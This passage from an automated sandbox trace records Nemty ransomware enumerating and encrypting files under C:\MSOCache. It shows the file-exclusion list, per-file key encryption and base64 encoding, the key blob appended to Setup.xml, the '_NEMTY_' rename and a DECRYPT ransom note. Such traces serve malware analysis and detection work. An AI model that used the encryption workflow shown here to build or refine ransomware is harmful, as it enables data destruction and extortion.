hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.196] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0047.196] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0047.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.197] Sleep (dwMilliseconds=0x5) [0047.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfd68db0, dwHighDateTime=0x1d561e7)) [0047.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfd68db0, dwHighDateTime=0x1d561e7)) [0047.204] GetLastError () returned 0x0 [0047.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.204] GetLastError () returned 0x0 [0047.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.204] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.204] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.204] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.204] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="XzLrEOK5gCeOhO4ibv15+JrB4zgJtGBrHtNm2u/qqDWVfGF2KLF26NmU9GKZDu2/\r\nyHIagp0PvWmCYPtlW5E77gFvboYDnm3aU0mrEr6az4nYVIlFaPX4Po6g57Xt2LLZ\r\n+GgM23d6OpEdaeaPFYW9OEbVV5qF55F0YWhFv/OeCR9D07UrPEntsedQgo3tYkNR\r\npvxSIoCszwFJmwtZ/rTW5E6IBY2x/xKzzDEp7AotKuPA2C5au2QUJObsQ0uH6T9V\r\nDA3qXFCVI/2uw9jxnXL0v79KP5u7782Kzta/D3bLoJuDOn2iMsSqztuwQruWLgKG\r\njLj2kyZaWN4u8q9hokwRQg==\r\n", pcchString=0x653ef9c) returned 1 [0047.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.204] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.204] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1886) returned 1 [0047.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x750) returned 0x4f9f4a0 [0047.205] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.205] ReadFile (in: hFile=0x3c8, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653f1e4*=0x750, lpOverlapped=0x0) returned 1 [0047.206] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.206] WriteFile (in: hFile=0x3c8, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653f1dc*=0x750, lpOverlapped=0x0) returned 1 [0047.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0047.207] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x75e [0047.207] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.207] CloseHandle (hObject=0x3c8) returned 1 [0047.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0047.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.208] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0047.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.208] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc5e410, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcfc5e410, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfc5e410, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0047.208] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0047.208] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0047.208] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0047.208] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0047.208] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0047.208] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0047.208] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0047.208] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0047.208] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0047.208] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0047.209] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0047.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0047.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0047.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f942e8 [0047.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.210] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc5e410, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcfc5e410, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfc5e410, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0047.210] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0047.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.210] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0047.210] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0047.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0047.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0019-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0019-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0019-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.211] RtlAllocateHeap (HeapHandle=0x4f90000, 